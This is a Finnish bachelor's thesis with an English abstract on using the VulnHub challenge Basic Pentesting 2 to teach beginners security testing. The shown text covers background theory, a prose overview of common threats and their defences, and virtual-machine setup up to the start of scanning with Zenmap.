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TIETOTURVAHAASTE

- Capture The Flag

Opinnaytetytn aiheena oli tutkia, miten capture the flag-haaste soveltuu vasta-alkajan
tutustuttamiseen perustason tietoturvauhkiin. Tutkimuksessa esitelldaédn helposti ymmarrettava
haaste, johon tutustutaan tietoturvatestaamisen viiden perusvaiheen (tiedustelu, skannaus,
paasy jarjestelmaédn, paasyn yllapito ja jalkien peittely) kautta. Tutkimusty® suoritettiin
virtualisoinnilla ja siihen kaytettiin Kali Linux -kayttdjarjestelmad. Taman liséksi esitellaan
tietoturvatestaamista yleiselld tasolla, seka kaydaan lapi tietoturvauhkia, joihin itse haasteessa ei
paasta tutustumaan. Tutkimuksen aineistona toimi mm. Cisco Networks-blogi, tunnetun
tietoturvayhtié Nortonin artikkeli, sek& muutama muu vdhemman tunnettu tietolahde.

Haasteen tuloksista saatiin selville, etta tietoturvatestaamisessa kaikki ei ole aina itsestaan selvaa
ja haasteen suoritus edellyttikin seka pitkajanteisyytta, etta paattelykykya. Tuloksista nahtiin, etta
suurin osa haavoittuvuuksista nojasi hyvin pitkalti virheelliseen konfiguraatioon (esimerkiksi liian
laajat kayttooikeudet, seka liian heikot salasanat). Tydssa ei mydskaan valtytty ongelmilta ja
kenties suurin yksittdinen ongelma oli Kali Linuxissa olevan John nimisen ohjelman heikko
toiminta, joka onneksi saatiin korvattua toisella vastaavalla ohjelmalla.

Tutkimuksen nakokulmasta haasteen suorittaminen oli verrattain helppoa, joten voidaan sanoa,

etta ainakin tydssa kaytetty haaste soveltuu hyvin tietoturvatestaamisen aloittamiseen ja siitd on
helppo jatkaa eteenpain vaikeampiin haasteisiin.
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CYBERSECURITY CHALLENGE

- Capture the Flag

The subject of the thesis was to explore, how capture the flag-challenge is suitable for teaching
basic cybersecurity for beginners. In study, there is one basic level challenge, which is completed
using five basic structure of cybersecurity (resonance, scanning, exploitation, maintaining access
and covering tracks). Study was completed using virtualization technology and Kali Linux
operating system. In addition, there is introduction for cybersecurity in basic level and threats that
were not included in the challenge. Cisco Networks blog, well known cybersecurity company
Norton article and couple of others not so well-known articles were used for literature.

After the challenge was completed there were no doubts that in cybersecurity everything is not
always obvious and it needs perseverance and reasoning ability to complete these challenges.
Result show that many of the vulnerabilities of the challenge were based on poor configuration
(for example too much rights were given for users and passwords were weak). Problems were
also present in the study and biggest problem was that John (which is password cracking tool in
Kali Linux) was not working as it should. However, that problem was countered using similar
program that worked like it should.

From view of the study challenge was basically easy, so it can be said that at least this challenge

was very well made for beginners and it is easy to continue cybersecurity testing from this point
using harder challenges.

KEYWORDS:

cybersecurity, capture the flag, cybersecurity challenge
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KAYTETYT LYHENTEET

GUI

IDS

MBR

OVA

PEM

RAM

RAT

SMB

SSH

SSL/TLS

SQL

Graafinen kayttoliittyma (Graphical User Interface).
Verkkolaitteiden numeerinen osoite.

Jarjestelema, jolla monitoroidaan verkkoliikennettéa (Intrusion

Detection System).

Jarjestelmaosio, joka siséltaa tiedon muista osioista, seka jar-

jestelmatiedostostoista (Master Boot Record).

Avoin standardi, jota kaytetaan virtuaalijarjestelmien pakkauk-

seen ja jakamiseen (Open Virtualization Format).

Salauksessa kaytettdvad enkoodaus-protokolla (Privacy-En-
hanced Mail).

Keskusmuisti eli tietokoneen kayttomuisti (Random Access
Memory).

Virustyyppi, jolla pyritaan luomaan takaovi kohdejarjestel-

maan (Remote Access Tool/Trojan).

Protokolla, jolla voidaan jakaa tiedostoja verkon yli (Server

Message Block).
Suojattu komentoriviyhteys (Secure Shell).

Kryptaus-protokolla, jota kaytetdan tietolikenteen salaami-
seen (Secure Sockets Layer/ Transport Layer Security).

Tietokantaohjelmoinnissa kaytetty kieli (Structured Query

Language).



1 JOHDANTO

Nykyisin kaytanntdssa kaikki jarjestelmat turvautuvat jonkinlaiseen digitaalisuuteen.
Koska nama digitaaliset jarjestelmat ovat pohjimmiltaan pelkkaa koodia, ne ovat myds
haavoittuvaisia erilaisille tietoturvatason uhille. Nama uhat voivat pahimmillaan aiheuttaa

kohteilleen miljardiluokan vahinkoja, puhumattakaan huonosta mediahuomiosta.

Taman tyyppisten jarjestelmien kasvattaessa kokoaan ja uusien tulokkaiden ilmestymi-
sen myota tarvitaan yhd enemman ja enemman naita uhkia tiedostavia henkil6ita. Nai-
den henkildiden tulee pystya toimimaan muun muassa Facebookin tai Googlen kaltais-
ten Internet-jattilaisten seka pienempien startup-yritysten palveluksessa estéen suurim-

mat katastrofit.

Jotta naitd henkiloita saataisiin liséd&, kynnys aloittaa tietoturvatestaaminen siita kiinnos-
tuneille tulisi olla mahdollisimman matala. Tasta syysta taman opinnaytetydén aiheena
onkin tutkia, miten CTF-haaste soveltuu vasta-alkajan tutustuttamiseen perustason tie-
toturvauhkiin  CTF-haasteen kautta. Tassd tapauksessa haasteella tarkoitetaan
VulnHub-sivustolta ladattavaa virtuaalijarjestelmaa, jota tydssa kaytetdan esimerkkind
tietoturvatestaamisesta. Tutkimuksessa tutustutaan yhteen aloittelijatason haasteeseen,
jonka kautta pyritddn yksinkertaisimmalla tasolla havainnollistamaan jarjestelméan haa-

voittuvia kohtia ja naiden torjumista.

Tutkimus pyritaan suorittamaan mahdollisimman aloittelijaystavallisesti, ja siind kaydaan
lapi keskeiset tietoturvatestaamiseen liittyvat menetelmat ja tydkalut. Taman lisaksi sen
on tarkoitus lisatd omaa tietoturvallista osaamistani sekd kannustaa muita haasteiden

suorittamiseen ja sita kautta oman osaamisensa lisaamiseen.

Tutkimus aloitetaan selvittdmalla, mité tietoturvatestaaminen itseasiassa on, seka sy-
vennytadn enemman itse CTF-haasteeseen ja sen toimintaperiaatteeseen. Teoriaosuu-
den jalkeen seuraa selvitys tietokoneen valmistelemisesta virtuaalisointiin ja siitd, millai-

sella tietokoneella naita haasteita kannattaa lahteé suorittamaan.

Taman jalkeen paastaan itse haasteeseen, joka suoritetaan seuraamalla tietoturvates-
taamisen viittd eri vaihetta (tiedustelu, skannaus, paasy jarjestelmaan, paasyn yllapito ja
jalkien peittely). Jokaisessa vaiheessa kerrotaan, mita vaihe pitaa sisallaan, milla tyoka-

lulla vaihe suoritetaan ja mitd vaihtoehtoisia tyokaluja kyseiselle vaiheelle on olemassa.
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Vaiheita sovelletaan suoraan kohdejarjestelmaan, jotta tydsta tulisi mahdollisimman joh-
donmukainen. Vaikka itse haaste ei sisdllakaan esimerkiksi takaportin luomista, kaydaan

sekin yksinkertaisimmalla tasolla lapi.

Koska tyon on tarkoitus olla yksinkertainen ja helposti lahestyttava, ei haastekaan ole
kovin monimutkainen. Tasta syysta se ei myoskaan sisalla kaikkia merkittavimpia tieto-
turvauhkien muotoja, joten ne kaydaan teoriatasolla l&pi ennen itse haasteen suoritta-
mista. Mikali naihin uhkiin haluaa tutustua paremmin, I6ytyy niille omat haasteensa
VulnHubista.

Haasteen suorituksen jalkeen siina kaytettyja haavoittuvuuksia analysoidaan ja selvite-
ta&n, miten niit voidaan ehkaista ja torjua. Lisaksi kaydaan omana loppupéatelmanaan
l&pi, miten haaste soveltui oman oppimisen ja osaamisen lisdamiseen ja milla tavalla

muut voivat hydtya haasteiden suorittamisesta.

Lahteina tyossa kaytetddan muun muassa Cisco Networks-blogia, josta |6ytyy kattava ja
luotettava kirjoitus ctf-haasteen perusperiaatteesta, seka hyvin tunnetun tietoturvayhtion,
Nortonin, tarjoamaa tietoa tietoturvatestaajien tyypeista. Osassa lahteista ei valitettavasti

mainita kirjoitusvuotta, mutta siitd huolimatta katsoisin nama lahteet luotettaviksi.

TURUN AMK:N OPINNAYTETYO | Timo Kaulin



2 CAPTURE THE FLAG -TAUSTAA

Capture The Flagilla (CTF) tarkoitetaan kilpailumuotoista tietoturvatestaamista (engl. pe-
netration testing tai pen testing), ja sita voivat tehda niin ammattilaiset kuin alaa opiske-
levat henkil6t. Kilpailun lahtokohtana on opettaa vasta-alkajille uutta ja parantaa ammat-
tilaisten jo olemassa olevia taitoja. Ensimmainen CTF tapahtuma jarjestettiin vuonna
1996 DEFCON tapahtumassa Las Vegasissa ja niilta paiviltd se on seké kasvanut, etta
kehittynyt paljon. Internetin levidmisen ja kasvamisen my6té, haasteita voi nykyisin suo-
rittaa kuka vain ja mistapain maailmaa tahansa, joka on osaltaan lisannyt ihmisten mie-
lenkiintoa aiheeseen. CTF-haasteet perustuvat lahtokohtaisesti paitsi aikarajaan, myos
kahteen eri tyyliin: Jeopardy ja attack-defence.

Jeopardyssa ideana on keradtad aikarajan puitteissa mahdollisimman monta pistetta rat-
kaisemalla eri tyylisia tehtavia. Naihin tehtéaviin voi lukeutua mm. kryptauksen purkamista
tai muuta vastaavaa, yleisesti tietoturvaan liittyvaa. Suurimman pistemaaran (eniten teh-

tavia ratkaissut) saanut joukkue voittaa.

Attack-defencessé ideana puolestaan on samaan aikaan tapahtuva hyokkays ja puolus-
tus ennalta maaritettyyn kohteeseen. Kohteena voi olla esimerkiksi yrityksen servereita
simuloiva ymparistd. TAman tyyppisessa haasteessa hydkkaava joukkue pyrkii murtau-
tumaan kohdejarjestelmaéan ja etsimaan sieltd niin kutsututtuja flag-tiedostoja (tasta
my0s nimi capture the flag), jotka voivat olla tekstid, kuvia, aanta jne. Puolustavan jouk-
kueen tehtdva on estaa jarjestelmaan murtautuminen ja kumpikin joukkue voi yleensa
kayttdd mita tahansa keinoja (pl. fyysinen kontakti kuten nettikaapelin katkaisu tai muu

sellainen) tavoitteen saavuttamiseksi (Harmon 2016).

Tassa opinnaytetydssa kaytettavd CTF-haaste on johdettu attack-defence-tyylista. Ai-
noa ero on se, etta puolustus on rakennettu haasteeseen valmiiksi eika sita parannella
haasteen suorittamisen aikana. My6ds aikaraja on poistettu, vaikkakin taman tyyppisiin
haasteisiin sen voi itse halutessaan asettaa. Joissain haasteissa flag tiedosto saattaa
siséltda myds vihjeen seuraavan flag-tiedoston Ioytamiseen ja néin ollen ennen pitkaa

myds haasteen ratkaisuun.
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2.1 Tietoturvatestaaminen

Termia penetration testing kaytettiin ensimmaisen kerran vuonna 1967 Joint Computer
konferenssissa, jossa tietoturvan asiantuntijat Willis Ware, Harold Petersen ja Rein Tern

kayttivat sita kuvaamaan hyokkaysta tietojarjestelmaa vastaan (Hunt 2012).

Tietoturvatestaamiseen on olemassa monia hyodyllisia tytkaluja ja kayttdjarjestelmia.
Tassa opinnaytetydssa paastaan tutustumaan niistd muutamaan ja kayttojarjestelména
toimii suosittu Kali Linux. ltse tyokaluihin ja niiden toiminnallisuuteen palataan uudelleen
haasteen suorittamisvaiheessa, jolloin my6s kaytannon esimerkilla voidaan havainnol-

listaa tytkalun toimintaa ja verrata sitd muihin vastaaviin tyokaluihin.

Hydkkayksen kohteena oleva jarjestelma voi olla muodoltaan Black box, Gray box tai
White box. Naiden erona on jarjestelmasta ennen hydkkaysta saadun tiedon maara, joka
Black boxissa on vahaisin (esim. pelkka laitteen/jarjestelman nimi) ja White boxissa suu-
rin (esim. koko lahdekoodi/jarjestelméan toimintaperiaate). Gray box asettuu naiden va-
liin, ollen tyypillinen CTF-haasteen kohde. White box jarjestelméat ovat paaosin bugien
etsimiseen ja muuhun vastaavaan. Black box on tyypillinen hakkeroinnin kohde (Sau-
nois, L. 2016).

Tietoturvatestaamista suorittavat henkilot jaetaan yleisesti kolmeen eri luokkaan: Black
hat, White hat ja Gray hat. Naita ei tule sekoittaa testaamisen kohteena olevan jarjestel-

man tyyppiin.

Black hat testaajat, nk. hakkerit kayttavat tietoturvatestaamista keinona paasta luvatto-
masti jarjestelmaan ja hyddyntaa sité ja/tai sen sisaltamia tietoja omiin, yleensa laittomiin
tarkoituksiinsa. Taman tyyppiset tietoturva-alan osaajat luovat my®s suurimman osan
internetin viruksista, silla hyvin suuri osa heistéa tekee elantonsa mm. nykyisin paremmin
tunnettujen Ransomware haittaohjelmien kautta. Liséksi he saattavat tarjota palveluitaan
(esim. Facebook tunnusten hakkeroiminen) netin pimedlla puolella eli Dark Webissé kor-

vausta vastaan.

White hat on puolestaan painvastaista ja he ovatkin yleensd ammattimaisia tietoturva-
testaajia, yleensa jonkin yrityksen palveluksessa. Heista ei juurikaan median tai muun
vastaavan kautta kuule, silld he tekevat tyotddn suurimaksi osaksi suljettujen ovien ta-

kana ja heidan tyonsa keskittyy enemman uhkien torjuntaan ja ennalta ehkaisyyn, jotta

TURUN AMK:N OPINNAYTETYO | Timo Kaulin
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naista uhista ei paasisi muodostumaan Black Hat hakkereille mieluisia tietoturva-auk-

koja.

Gray hat lukeutuu naiden valimaastoon ja he tekevat itse testauksen yleensa luvatto-
masti. Black Hat hakkerista poiketen he jakavat tietonsa haavoittuvuudesta jarjestelman
omistajan kanssa ja saavat tasta yleensa palkkion (Symantec 2019). Tahan luokkaan
kuuluvat myds ns. Whistleblowerit eli tietovuotajat. He ovat henkil6ita, jotka ilmiantavat
yrityksia tai valtion organisaatioita laittomasta tai epaeettisesta toiminnasta. Parhaana ja
luultavasti myos tunnetuimpana esimerkkinad heistad voidaan mainita Edward Snowden,

joka tuli tunnetuksi julkaistuaan materiaalia NSA:n internet vakoiluohjelmista.

2.2 Yleisimmat tietoturvauhat

Kenties tunnetuin hytkkdysmenetelma ja samalla suurin tietoturvauhka tunnetaan ni-
mella Distributed Denial of Service (DDOS) eli palvelunestohydkkays. Hydkkayksen lie-
vempi muoto tunnetaan nimella Denial of Service (DOS). Naiden erona on se, etta
DDOS-hydkkays on huomattavasti laajempi ja nain ollen vaikeampi estaa. Hyokkayksen
tarkoituksena on lamauttaa jarjestelma ja nain ollen estaa sen kayttaminen, joten siita ei
ole varsinaisesti ilkivaltaa suurempaa hyotyd. Taman tyyppinen hyokkays voidaan jakaa
useampaan eri alatyyppiin, mutta niissa kaikissa on sama perusperiaate: lahetetdén koh-
teeseen palvelupyyntéja (yleensa paketteja IP-osoitteen perusteella) enemman ja use-

ammin, kuin se pystyy vastaanottamaan.

Man-in-the-Middle (MitM) on phishing hyokkayksen ohella tunnetuimpia tapoja hyvaksi-
kayttaa jarjestelman kayttgjan tietoja hyokkadjan omaksi hyvéksi. MitM:n perusajatuk-
sena on asettua jarjestelman ja sen kayttajan valiin ja talla tavalla siepata kayttajatietoja
ja muuta dataa. Hyokkays toimii siten, ettd hyokkaaja vaarentdd uhrinsa IP-osoitteen ja
nain ollen "korvaa” uhrinsa jarjestelman nakdkulmasta. Yksi tapa on ns. ARP-poisoning,
jossa seka uhrin, ettéd jarjestelman ARP-taulukko taytetaan virheellisella tiedolla MAC/IP
osoitteiden oikeellisuudesta ja nain ollen saadaan jarjestelma luulemaan hyokkaajan ko-
netta uhrin koneeksi ja painvastoin. Tallaiseen hydkkaykseen liitetdan usein myds SSL
sertifikaattien vaarentamista tai niiden kiertamista, jotta hyokkaaja ei paljastuisi. Tehok-
kain tapa ehkaistd taman tyyppinen hyokkays on yhdistaa vain luotettuihin tukiasemiin
(langattomassa verkossa) ja kayttaa vain SSL-salattuja verkkosivuja (vaikkakaan pelkka

SSL salaus ei riité takeeksi sivujen aitoudesta).

TURUN AMK:N OPINNAYTETYO | Timo Kaulin
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Phishing eli yleisimmin tietojenkalastelu on suosituin ja yleisin tapa saada kasiinsa kayt-
tajatietoja, vaikka sité voidaan kayttadd myos virusten levittamiseen. Hyokkayksen perus-
ideana on yleensé sahkdpostin valitykselld lahetettava viesti, jossa vastaanottajaa keho-
tetaan menemaan viestissa mainitulle sivustolle. Nama sivustot ovat usein kopioita alku-
peraisisita sivuista ja niiden ainoa tehtava on kalastella kayttajanimi ja salasana kohde-
kayttajalta. Paras tapa suojautua tallaisia hyokkayksia vastaan on tarkistaa jokainen sah-
koposti huolellisesti ja olla kilkkaamatta epadilyttavia linkkeja. Yksi tapa tahan on laittaa
kursori linkin paalle (kuitenkin klikkaamatta sita) ja katsoa millaiseen osoitteeseen linkki
johtaa. Usein tietojenkalastelusivut kuitenkin ovat hyvin naamioituja, joten niiden oikeel-
lisuutta ei valttdmaéttd voi varmistaa talla tavalla ja siksi on hyva muistaa jarjen kaytto
jokaisen hiemankin epdilyttdvan sahkopostiviestin kohdalla. Taman lisdksi esimerkiksi
Googlen Gmail suodattaa tehokkaasti kaytdnnossa kaikki s&dhkodpostit, jotka se katsoo

turvallisuusuhaksi.

Drive-by -hyokkayksessa hyokkaaja istuttaa hakkeroituun jarjestelmaan haittakoodia
(yleensa PHP), jonka tarkoituksena on yleensa levittda haittaohjelmia, mutta se voi toi-
mia myos udelleen ohjaavana eli verkkosivun kayttdja ohjataan oikean sivuston sijaan
hakkerin tekemalle kopiolle sivustosta. Hyokkays on erityisen haitallinen siita syysta, etta
uhrin ei tarvitse tehda mitdan verkkosivulla vierailua kummempaa, jotta haittaohjelma
asentuu uhrin tietokoneelle. Paras suojautumiskeino on pitd& ohjelmistot (erityisesti
verkkoselain) ajan tasalla ja valttda turhia selainlaajennoksia tai muita vastaavia ohjel-

mistoja.

SQL-injektio on hyokkdysmuoto, jossa hyvaksikaytetaan jarjestelméan SQL-tietokannan
haavoittuvuutta. Hyokkayksessa SQL -kyselyd muokataan siten, etta se tulostaa tieto-
kannasta mahdollisimman paljon tietoa, johon kayttajalla ei muutoin olisi paasya. Yksin-
kertaisin esimerkki SQL -injektiosta on lisatd SQL -kyselyn WHERE -lausekkeeseen
kohta 1 = 1, joka palauttaa arvon true, eli kaiken pyydetyn tiedon. SQL-injektiolta voi
suojautua kirjoittamalla pyynt6a tekevan koodin suodattamaan sille sydtetyn datan ja pi-

tamalla koodin kayttdoikeudet tietokantaan mahdollisimman pienena.

Cross-site scripting (XSS) on hydkkaysmuoto, jossa hyokkaaja hyvaksikayttad yleensa
verkkosivujen JavaScript haavoittuvuutta. Hy6kkayksen perusperiaate on se, etta hyok-
kaaja syottaa verkkosivun tietokantaan skriptin, jota voidaan kayttdd mm. keraamaan
sivustolla vierailijan evaste (cookie) tietoja. Naita tietoja voidaan kayttaa session kaap-
paukseen, jolla vaarennetdan kohdejarjestelma luulemaan hyokkaajaa uhriksi. Hyok-

kaysta voidaan kayttad myds nappaimistddatan tallentamiseen, nayttékuvien ottamiseen
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ja uhrin koneen kontrollointiin. Talta hyokkaykselta suojaudutaan helpoiten kirjoittamalla

verkkosivujen koodi suodattamaan dataa samaan tapaan, kuin SQL-injektiossakin.

Salakuuntelu (Eavesdropping) on menetelmd, jossa hytkkaaja kuuntelee uhrin verkko-
likennetta ja yrittaa seuloa datasta esimerkiksi pankkitunnuksia tai muuta vastaavaa
hyodyllista tietoa. Hyokkays voidaan toteuttaa joko passiivisena tai aktiivisena. Passiivi-
sessa kuuntelussa siepataan kayttajan dataa kohdejarjestelman ja kayttajan valista, kun
taas aktiivisessa kuuntelussa pyritdan vakuuttamaan kayttaja siita, etta vastaanottaja on

luotettava. Paras suojautumiskeino salakuuntelua vastaan on datan kryptaaminen.

Naiden liséksi kokonaan omana kategorianaan voidaan mainita malware eli virushyok-
kays. Virukseksi kutsutaan ohjelmaa tai koodia, joka asentuu tai suoriutuu kayttajan lu-
paa kysymattd. Usein nama haittaohjelmat onkin piilotettu jonkin muun ohjelman sisaan
ja ne on ohjelmoitu levittamaan itse itseaan. Seuraavaksi kaydaan lapi tyypillisempia

haittaohjelmatyyppeja, silla niiden tavassa suoriutua ja levittya on merkittavia eroja.

Macrovirukset ovat tyypillisesti Word tai Excel -tiedostoissa olevaa koodia, joka suoriutuu
ennen kuin itse tiedosto avataan. Taman jalkeen se kopioi itsensa tietokoneen jarjestel-

maan.

Tiedostoinfektorit (File Infectors) ovat viruksia, jotka liittdvat itsensé suoritettaviin eli .exe
tiedostoihin. Kun ohjelma suoritetaan, suoriutuu haittakoodikin. Vastaavanlaisella mene-
telméalla haittakoodi kopioituu jonkin tiedoston nimell& tehden siitéd samalla suoritettavan

tiedoston.

Jarjestelma tai boot osio virukset kopioivat itsensa jarjestelman MBR osiolle, jolloin ne
voivat ladata itsensa jarjestelman muistiin laitteen k&ynnistyessé. Sen jalkeen ne voivat

levittaytya helposti muualle jarjestelmaan.

Polymorfiset virukset suojaavat itsensa kryptauksen taakse ja tasta syysta niitd on vai-
kein havaita. Niihin on yleensa liitetty mutaatio-ohjelma, jonka tehtavana on jatkuvasti
muuttaa viruksen kryptausalgoritmeja ja ndin ollen myos itse virusta. Taman tyyppisten
virusten lahdekoodi on kuitenkin laajalle levinnytta ja tasta syysta sitd voidaan kayttaa

niité vastaan antivirusohjelmissa.

Stealth -virukset valtaavat jonkin jarjestelméan osan ja salaavat siten olemassaolonsa
vaarantamatta antivirusohjelmistoa. Tamé& saa antivirusohjelmiston luulemaan, etta
kaikki on virheellisesti kunnossa. Nama virukset myds salaavat infektoituneen tiedoston

koon muutoksen tai muuttavat sen muokkausaikaa.
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Troijan hevosesta nimensa saanut haittaohjelma kétkee itsensd muutoin taysin toimi-
vaan ja hyodylliseen ohjelmaan. Suurimpana erona muihin viruksiin troijalaiset eivat ko-
pioi itsedaan. Niiden paaasiallinen tarkoitus on avata hydkkaajalle takaovi infektoitunee-

seen jarjestelmaan.

Logiikkapommiksi (Logic Bomb) kutsuttu haittaohjelma on yleensa jonkin muun tiedoston
litteena ja suoriutuu tietysta loogisesta toiminnasta, kuten loogisen funktion tuloksesta

tai paivamaarasta.

Madot ovat muista haittaohjelmista poikkeavia siten, etta ne eivat yleensa tule minkaan
muun ohjelman mukana ja ne pyrkivat ainoastaan levittaytymé&an mahdollisimman laa-
jalti verkkoyhteyksien avulla. N&ama virukset levidvat yleensa sahkopostin valityksella ko-
pioimalla itsedén ja voivatkin tasta syysta saada aikaan sahkopostipalvelun tukkiutumi-

sen.

Dropperi ei itsessédén ole haittaohjelma eik& se sisalla haitallista koodia, joten antivi-
rusohjelmistot jattavat ne rauhaan. Naiden ohjelmien toiminta perustuukin siihen, etta ne

asentavat tai joskus myds lataavat haitallisen ohjelmiston jarjestelmaan.

Ransomware on haittaohjelma, joka nimensad mukaisesti kaappaa uhrinsa tiedostot ja
kryptaa ne. Nama tiedostot yleensa uhataan poistaa kokonaan, ellei uhri maksa hyok-
kaajalle lunnaita tiedostoistaan ja nain ollen saa salauksen purkamiseen tarvittavan avai-

men.

Adware on sindnsa harmiton ohjelmisto, jota yritykset saattavat kayttdd nayttaakseen
mainontaa ohjelmistoissaan. Taman tyyppinen "haittakoodi” saattaa suoriutua myds suo-

raan selaimessa tai ponnahdusikkunoissa.

Spyware on nimensa mukaisesti haittakoodi, joka pyrkii vakoilemaan uhriaan. Yleensa
se pyrkii l[ahettamaén uhristaan mahdollisimman paljon tietoa, mutta voi myds toimia
muiden virusten asennusrajapintana. Ne nayttavat yleensa Adware tyyppisilta viruksilta,
mutta ovat erillisid ohjelmistojaan ja asentuvat kayttdjan huomaamatta jonkin ilmaisoh-

jelmiston mukana (Melnick, J. 2018).
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3 HAASTEEN ALKUVALMISTELUT

Haasteen suorittaminen alkaa hakemalla halutunlainen haaste internetista, luultavasti
suosituimpiin kuuluvalta VulnHub nimiselté sivustolta. Sivusto on omistettu kokonaan yk-
sin suoritettaville CTF haasteille ja tAsta syysta sivustolla onkin kattava tarjonta haasteita
jokaiselle taitotasolle ja mielenkiinnonkohteelle. Haasteet voivat olla aiheeltaan mita ta-
hansa tietoturvatestaamiseen liittyvaa, kunhan ne noudattavat attack-defence-tyylia ja

suurimasta osasta l6ytyy myds skenaario aitouden tunteen lisdéamiseksi.

Tassa tapauksessa haasteeksi valikoituu Basic Pentesting 2 nimea kantava haaste, joka
ei valitettavasti sisalla skenaariota, mutta sopii muuten hyvin tutkimukseen. Kyseessa
oleva haaste on seuraaja Basic Pentesting nimiselle haastelle, joka on ehka hieman lii-
ankin helppo tahan opinnaytetydhdn ja taman takia opinnaytetydssa kaytetddn sen seu-

raajaa, Basic Pentesting 2:sta (Pierce, J. 2018).

Haaste toimitetaan ladattavana OVA-tiedostona, joka sydtetaan suoraan VirtualBox ni-
miseen virtualisointitytkaluun. VirtualBox ei toki ole ainoa virtualisointitydkalu, mutta
suosituimpana ja ilmaisena kaytannossa kaikki VulnHub -sivustolla olevat haasteet on
tehty sille yhteensopivaksi. Tasta syysta voidaan suositella VirtualBoxin kayttéa haas-
teen suorittamisessa, vaikka se ei toki esta sen suorittamista muilla virtualisointitydka-

luilla, kunhan ne tukevat OVA-tiedostoja.

Ennen VirtualBoxin asentamista kaydaan BlOSista varmistamassa, etta tietokoneessa
on virtualisointi paalla. Yleensa ominaisuuteen viitataan BlIOSissa nimella "Virtualizion
Techonology” ja sen kayttdonotto mahdollistaa virtuaalisointisovellusten, kuten Virtual-
Boxin asennuksen tietokoneeseen. Huomioitavaa on myds se, etta virtualisointi syt tie-
tokoneesta huomattavan maaran tehoja. Tasta syysta kannattaakin varmistaa, etta ko-
neesta loytyisin mieluiten 16 GB keskusmuistia (12 GB riittaa, mikali tietokoneessa ei ole
samanaikaisesti paalla muita suuria maaria keskusmuistia kayttavia ohjelmia, eika virtu-
aalikoneille anneta enempéé keskusmuistia, kuin on valttamatonta), vahintaan is tai vas-
taavan luokan prosessori seka riittavasti kovalevytilaa (500GB pitéisi riittad). Naita huo-
nommillakin vaatimuksilla virtualisointi saattaa onnistua, mutta riski tietokoneen kaatu-
miseen kasvaa huomattavasti, silla virtualisoidut koneet saavat tehonsa isdntakonees-

taan, joka joutuu siis jakamaan tehonsa virtuaalikoneiden kanssa.
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Kun virtualisointi on kytketty péaalle, voidaan siirtya itse VirtualBoxin asentamiseen. Vir-
tualBoxin voi ladata ja asentaa joko ennen tai jalkeen OVA-tiedoston lataamisen, mutta
selkeyden vuoksi se kannattaa asentaa ensin (mikali sité tai jotain toista OVA-tiedostoja

tukevaa virtualisointi ohjelmaa ei ole jo asennettu).

Ohjelma ladataan suoraan sen kotivisuilta www.virtualbox.org, josta l6ytyy eri asennus-
tiedostot eri jarjestelmille. Tassa tapauksessa ladataan Windows -jarjestelmalle sopiva
asennuspaketti. Asennuspaketin latauduttua, se asennetaan samoin, kuin mika tahansa

muukin ohjelma.

Ennen OVA-tiedoton syottamista VirtualBoxiin, kannattaa siihen luoda haasteen tekemi-
seen kaytettava virtuaalikone, joka tassa tapauksessa on Kali Linux. Uuden virtuaaliko-
neen saa luotua helpoiten painamalla Ctrl+N pikanappéainta VirtualBoxin paaikkunassa.
Taman jalkeen eteen avautuu ikkuna, jossa valitaan uuden virtuaalikoneen nimi, haluttu
asennussijainti ja haluttu kayttojarjestelma. Seuraavaksi valitaan virtuaalikoneelle annet-
tavan RAM muistin maara. Annettavan muistin maaraa valitessa, kannattaa noudattaa
jarjestelmalle suositeltua arvoa, joka Kali Linuxin tapauksessa on vahintdan 2 GB el
2048 MB. Taman jalkeen virtuaalikoneelle luodaan virtuaalikovalevy. Levy kannattaa
luoda VDI-muotoisena ja dynaamisena, jolloin se vie tietokoneen kovalevylta tilaa vain
sen verran, kuin virtuaalikone sita tarvitsee. Levyn luomisen jalkeen kadydaan asetta-
massa virtuaalikoneelle kdynnistysmediaksi Kali Linuxin asennukseen kaytettava 1SO-
tiedosto. Tama tapahtuu virtuaalikoneen asetuksista kohdasta "Storage” ja "IDE control-
ler”, johon lisataan iso-tiedoston polku. Tasta eteenpéin itse Kali Linuxin asennus menee
virtuaalikoneella samoin, kuin normaalistikin, joten siihen ei kiinnitetd sen enempaa huo-

miota.

Kali Linuxin onnistuneen asennuksen jalkeen voidaan siirtya itse haasteen eli OVA-tie-
doton sytttamiseen VirtualBoxiin. Koska OVA-tiedosto on valmis jarjestelmamaaritys pa-
ketti, ei sille tarvitse luoda omaa virtuaalikonetta. Tiedoston sy6ttaminen tapahtuu koh-
dasta "File” ja "Import Appliance”, josta avautuu tiedoston sijainnin maaritysikkuna. Kun
tiedoston sijainti on maaritetty, avautuu uusi ikkuna painamalla "Next”. Tassa ikkunassa
nakyy yhteenveto syottettavasta jarjestelmastd, johon ei tarvitse sen kummempaa huo-
miota kiinnittda, joten syotdon voi suorittaa loppuun painamalla "Import”’. Kun OVA-tie-
dosto on onnistuneesti syotetty VirtualBoxiin, se ilmestyy virtuaalikoneiden listaan ja itse

haasteen suorittaminen voidaan aloittaa.
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4 HAASTEEN SUORITTAMINEN

Aloitetaan haasteen suorittaminen tietoturvatestaamisen ensimmaisesta vaiheesta eli
tiedustelusta. Tassa vaiheessa hankitaan mahdollisimman paljon tietoa kohteesta ennen
kuin suoritetaan mitd&n muita toimintoja. Naihin tietoihin lukeutuu yleensa ns. julkinen
tieto kohteesta, tdssa tapauksessa tieto siitd, etta paamaarana on paasta root kayttajaksi
jarjestelmaan. Haasteen ulkopuolisessa maailmassa néaita tietoja ovat mm. kohteena
olevan yrityksen tyontekijat ja kohteen kanssa muutoin tekemisissa olevat henkil6t (Le-
mon, J. 2017).

4.1 Skannaus

Toisessa vaiheessa, skannauksessa, otetaan ensimmainen kontakti itse jarjestelmaan
skannaamalla se Kali Linuxin Zenmap -ohjelmalla. Skannauksessa yritetddn saada
mahdollisimman paljon tietoa jarjestelmasta. Naihin tietoihin lukeutuu mm. IP-osoite,
seka avoimet portit ja palvelut (Lemon, J. 2017). Tata toimenpidettd vastaan on kehi-
tetty IDS, jonka tehtavanéa on valvoa verkkoa ja informoida sen omistajalle mahdolli-

sista uhista.

Zenmap on avoimen lahdekoodin graafinen versio nmap ohjelmasta ja se tarjoaa sa-
mat maarittelymahdollisuudet, kuin nmap (Baydan, i. 2018). Vaihtoehtoisina ohjelmina
Zenmapille voisivat olla esimerkiksi dimitry ja Sparta, joista jalkimaisesta 10ytyy myos
GUI-versio. Haasteen suorittaminen onnistuu mill& tahansa naista kolmesta ohjel-
masta, silla kaikki nayttavat jotakuinkin saman tiedon. Tassa tapauksessa kaytetéaan

kuitenkin Zenmappid, silla sen kaytosta loytyy eniten kokemusta.

